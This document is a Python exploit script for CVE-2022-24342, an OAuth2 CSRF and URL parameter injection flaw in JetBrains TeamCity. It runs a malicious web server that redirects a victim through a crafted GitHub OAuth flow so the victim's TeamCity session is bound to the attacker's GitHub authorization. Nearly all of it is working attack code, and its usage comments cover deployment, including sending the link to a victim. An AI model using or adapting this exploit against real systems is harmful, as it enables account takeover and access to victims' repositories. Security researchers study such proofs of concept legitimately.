exploit.py

# Exploit Title: JetBrains TeamCity - URL parameter injection leading to OAuth2 CSRF.
# Date: 25-02-2021
# Exploit Author: Yurii Sanin (https://twitter.com/SaninYurii)
# Software Link: https://www.jetbrains.com/teamcity/
# Affected Version(s): <2021.2.1
# CVE : CVE-2022-24342
# -----------------------------------------------------------------------------------------------------------------------------
# Usage
# > Run exploit: `uvicorn exploit:app --reload`
# > Register GitHub OAuth2 application (homepage: "http://{exploit-host}:8000", Authorization callback url: "http://{exploit-host}:8000/callback")
# > Send the link to a victim: "http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}"
# Example: http://localhost:8000/exploit?target_host=http://localhost:8088&gh_client_id=d0e8136b100ef006b4f2

import json
import uuid
import logging
import uvicorn
import argparse
import requests
from base64 import b64decode
from urllib.parse import urlparse, parse_qs, urlencode
from fastapi import FastAPI
from fastapi.responses import RedirectResponse

parser = argparse.ArgumentParser()
parser.add_argument("-s", help="GitHub user session", required=True)
parser.add_argument("-p", help="Uvicorn port", default=8000)

APP_STATE = None
GITHUB_USER_SESSION = None
TC_CONNECT_PATH = "/oauth/github/connect.html"
GITHUB_LANDING_PATH = "/oauth/github/accessToken.html"

logger = logging.getLogger("CVE-2022-24342")
logging.basicConfig(level=logging.INFO)
app = FastAPI()


@app.get("/exploit")
def exploit(target_host: str, gh_client_id: str):
    if target_host is None:
        logger.error("[ERROR] - target host cannot be null.")
        return
    target_host_url = urlparse(target_host)
    if target_host_url.scheme not in ["http", "https"] or target_host_url.hostname is None:
        logger.error(f"[ERROR] - target host {target_host} is not valid URL.")
        return
    github_config = get_github_authorize_url(target_host)
    if github_config is None:
        logger.error("[ERROR] - can't get GitHub config for the TeamCity instance.")
        return RedirectResponse(target_host)
    client_id = github_config["client_id"]
    tc_state = github_config["state"]
    redirect_uri = github_config["redirect_uri"]
    logger.info(f"[INFO] - GitHub authentication enabled, client_id: '{client_id}'.")
    connection_id = json.loads(b64decode(tc_state)).get("connectionId")
    logger.info(f"[INFO] - GitHub connection id: '{connection_id}'.")
    auth_code = get_github_authorization_code(client_id, redirect_uri)
    if auth_code is None:
        logger.error("[ERROR] - can't get attacker's authorization code.")
        return RedirectResponse(target_host)
    logger.info(f"[INFO] - GitHub authorization code obtained for the GitHub application.")
    payload_params = dict(
        action="obtainToken",
        projectId="_Root",
        connectionId=connection_id,
        scope=f"public_repo,repo,repo:status,write:repo_hook,user:email&client_id={gh_client_id}",
        callbackUrl="/oauth/github/connect.html"
    )
    global APP_STATE
    APP_STATE = dict(target_host=target_host, auth_code=auth_code)
    redirect_url = f"{target_host}/oauth/github/accessToken.html?{urlencode(payload_params)}"
    return RedirectResponse(redirect_url)


@app.get("/callback")
def csrf_redirect(state: str):
    params = dict(
        state=state,
        code=APP_STATE["auth_code"]
    )
    logger.info(f"[INFO] - OK. Recieved OAuth2 state: '{state}'.")
    redirect_url = f"{APP_STATE['target_host']}/oauth/github/accessToken.html?{urlencode(params)}"
    logger.info(f"[INFO] - redirect back to target host.")
    return RedirectResponse(redirect_url)


# get Github authorize URL for the TeamCity instance
def get_github_authorize_url(target_host):
    try:
        response = requests.get(
            f"{target_host}/oauth/github/login.html",
            allow_redirects=False)
        if response.status_code not in [302] or response.headers['Location'] is None:
            logger.error(f"[ERROR] - can't get GitHub OAuth2 client info, unexpected HTTP status code '{response.status_code}'.")
            logger.error(f"[ERROR] - seems like GitHub authentication is disabled for the TeamCity instance.")
            return None
        parsed_location_url = urlparse(response.headers['Location'])
        location_query_params = parse_qs(parsed_location_url.query)
    except Exception:
        logger.error(f"[ERROR] - can't get GitHub OAuth2 client info.")
        return None
    return dict(
        client_id=location_query_params["client_id"][0],
        state=location_query_params["state"][0],
        redirect_uri=location_query_params["redirect_uri"][0])


# get OAuth2 authorization code using attacker's account
def get_github_authorization_code(client_id, oauth_landing_uri):
    session = requests.Session()
    try:
        response = session.get(
            "https://github.com/login/oauth/authorize",
            cookies={"user_session": GITHUB_USER_SESSION},
            allow_redirects=False,
            params=dict(
                client_id=client_id,
                scope="public_repo,repo,repo:status,write:repo_hook,user:email",
                state=str(uuid.uuid4()),
                redirect_uri=oauth_landing_uri))
        if response.status_code not in [302] or response.headers['Location'] is None:
            logger.error(f"[ERROR] - can't get attacker's authorization code, unexpected HTTP status code '{response.status_code}'.")
            return None
        parsed_location_url = urlparse(response.headers['Location'])
        location_query_params = parse_qs(parsed_location_url.query)
        if "code" not in location_query_params:
            logger.error(f"[ERROR] - can't get attacker's authorization code from the Location header.")
            return None
        code = location_query_params["code"][0]
    except Exception:
        logger.error(f"[Error] - can't get location of the GitHub application.")
        return None
    return code


if __name__ == '__main__':
    print("|-----------------------------------------------------------------------------------|")
    print("|    CVE-2022-24342 OAuth2 CSRF in JetBrains TeamCity leading to session takeover   |")
    print("|                developed by Yurii Sanin (Twitter: @SaninYurii)                    |")
    print("|-----------------------------------------------------------------------------------|")
    args = parser.parse_args()
    GITHUB_USER_SESSION = args.s
    uvicorn.run(app, host="0.0.0.0", port=args.p, log_level="info")